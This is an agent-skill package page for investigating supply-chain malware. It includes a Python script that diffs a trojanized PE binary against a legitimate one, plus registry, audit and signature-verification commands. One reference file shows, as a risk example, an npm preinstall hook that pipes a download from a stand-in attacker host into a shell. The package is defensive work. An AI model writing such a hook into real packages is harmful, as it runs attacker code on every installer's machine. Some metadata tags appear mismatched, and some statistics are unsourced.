What it does. Investigate supply chain attack artifacts including trojanized software Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill analyzing-supply-chain-malware-artifacts, or copy the skill folder into ~/.claude/skills/analyzing-supply-chain-malware-artifacts/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-supply-chain-malware-artifacts/SKILL.md

SKILL.md (verbatim)

name: analyzing-supply-chain-malware-artifacts
description: Investigate supply chain attack artifacts including trojanized software
  updates, compromised build pipelines, and sideloaded dependencies to identify intrusion
  vectors and scope of compromise.
domain: cybersecurity
subdomain: malware-analysis
tags:
- supply-chain
- malware-analysis
- trojanized-software
- solarwinds
- 3cx
- dependency-confusion
- software-integrity
version: '1.0'
author: mahipal
license: Apache-2.0
atlas_techniques:
- AML.T0010
nist_ai_rmf:
- GOVERN-5.2
- MAP-1.6
- MANAGE-2.2
d3fend_techniques:
- Platform Hardening
- Hardware Component Inventory
- Restore Object
- Electromagnetic Radiation Hardening
- RF Shielding
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1195.002
- T1195.001
- T1554
- T1553.002
- T1027

Analyzing Supply Chain Malware Artifacts

Overview

Supply chain attacks compromise legitimate software distribution channels to deliver malware through trusted update mechanisms. Notable examples include SolarWinds SUNBURST (2020, affecting 18,000+ customers), 3CX SmoothOperator (2023, a cascading supply chain attack originating from Trading Technologies), and numerous npm/PyPI package poisoning campaigns. Analysis involves comparing trojanized binaries against legitimate versions, identifying injected code in build artifacts, examining code signing anomalies, and tracing the infection chain from initial compromise through payload delivery. As of 2025, supply chain attacks account for 30% of all breaches, a 100% increase from prior years.

When to Use

• When investigating security incidents that require analyzing supply chain malware artifacts
• When building detection rules or threat hunting queries for this domain
• When SOC analysts need structured procedures for this analysis type
• When validating security monitoring coverage for related attack techniques

Prerequisites

• Python 3.9+ with pefile, ssdeep, hashlib
• Binary diff tools (BinDiff, Diaphora)
• Code signing verification tools (sigcheck, codesign)
• Software composition analysis (SCA) tools
• Access to legitimate software versions for comparison
• Package repository monitoring (npm, PyPI, NuGet)

Workflow

Step 1: Binary Comparison Analysis

#!/usr/bin/env python3
"""Compare trojanized binary against legitimate version."""
import hashlib
import pefile
import sys
import json


def compare_pe_files(legitimate_path, suspect_path):
    """Compare PE file structures between legitimate and suspect versions."""
    legit_pe = pefile.PE(legitimate_path)
    suspect_pe = pefile.PE(suspect_path)

    report = {"differences": [], "suspicious_sections": [], "import_changes": []}

    # Compare sections
    legit_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in legit_pe.sections}

    suspect_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in suspect_pe.sections}

    # Find new or modified sections
    for name, props in suspect_sections.items():
        if name not in legit_sections:
            report["suspicious_sections"].append({
                "name": name, "reason": "New section not in legitimate version",
                "size": props["size"], "entropy": round(props["entropy"], 2),
            })
        elif abs(props["size"] - legit_sections[name]["size"]) > 1024:
            report["suspicious_sections"].append({
                "name": name, "reason": "Section size significantly changed",
                "legit_size": legit_sections[name]["size"],
                "suspect_size": props["size"],
            })

    # Compare imports
    legit_imports = set()
    if hasattr(legit_pe, 'DIRECTORY_ENTRY_IMPORT'):
        for entry in legit_pe.DIRECTORY_ENTRY_IMPORT:
            for imp in entry.imports:
                if imp.name:
                    legit_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")

    suspect_imports = set()
    if hasattr(suspect_pe, 'DIRECTORY_ENTRY_IMPORT'):
        for entry in suspect_pe.DIRECTORY_ENTRY_IMPORT:
            for imp in entry.imports:
                if imp.name:
                    suspect_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")

    new_imports = suspect_imports - legit_imports
    if new_imports:
        report["import_changes"] = list(new_imports)

    # Check code signing
    report["legit_signed"] = bool(legit_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)
    report["suspect_signed"] = bool(suspect_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)

    return report


def hash_file(filepath):
    """Calculate multiple hashes for a file."""
    hashes = {}
    with open(filepath, 'rb') as f:
        data = f.read()
    for algo in ['md5', 'sha1', 'sha256']:
        h = hashlib.new(algo)
        h.update(data)
        hashes[algo] = h.hexdigest()
    return hashes


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <legitimate_binary> <suspect_binary>")
        sys.exit(1)
    report = compare_pe_files(sys.argv[1], sys.argv[2])
    print(json.dumps(report, indent=2))

Validation Criteria

• Trojanized components identified through binary diffing
• Injected code isolated and analyzed separately
• Code signing anomalies documented
• Infection timeline reconstructed from build artifacts
• Downstream impact scope assessed across affected systems
• IOCs extracted for detection and blocking

References

• ReversingLabs - 3CX Supply Chain Analysis
• Fortinet - SolarWinds Supply Chain Attack
• Picus - 3CX SmoothOperator Analysis
• MITRE ATT&CK T1195 - Supply Chain Compromise

Other files in this skill

• LICENSE
• assets/template.md
• references/api-reference.md
• references/standards.md
• references/workflows.md
• scripts/agent.py

assets/template.md (verbatim)

Analysis Report Template - analyzing-supply-chain-malware-artifacts

Sample Information

Findings

IOCs Extracted

Recommendations

references/api-reference.md (verbatim)

API Reference: Supply Chain Malware Analysis

npm Registry API

Package Metadata

curl https://registry.npmjs.org/<package-name>
curl https://registry.npmjs.org/<package-name>/<version>

Response Fields

PyPI JSON API

Package Info

curl https://pypi.org/pypi/<package-name>/json

Key Fields

Socket.dev - Supply Chain Analysis

npm Audit

socket npm audit
socket npm info <package>

Suspicious Package Indicators

Sigstore/cosign Verification

Verify Container Image

cosign verify --certificate-identity-regexp=".*" \
  --certificate-oidc-issuer-regexp=".*" image:tag

Verify Artifact

cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz

SLSA Framework Levels

npm install Hook Risks

{
  "scripts": {
    "preinstall": "curl evil[.]example/payload | sh",
    "postinstall": "node ./install.js",
    "preuninstall": "node cleanup.js"
  }
}

references/standards.md (verbatim)

Standards Reference - analyzing-supply-chain-malware-artifacts

Applicable Standards

• MITRE ATT&CK Framework
• NIST SP 800-83 Guide to Malware Incident Prevention
• NIST SP 800-86 Guide to Integrating Forensic Techniques

Related MITRE ATT&CK Techniques

See SKILL.md for specific technique mappings.

references/workflows.md (verbatim)

Analysis Workflows - analyzing-supply-chain-malware-artifacts

Primary Workflow

[Sample Collection] --> [Static Analysis] --> [Dynamic Analysis] --> [IOC Extraction]
                                                                          |
                                                                          v
                                                                 [Report Generation]

See SKILL.md for detailed step-by-step procedures.

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.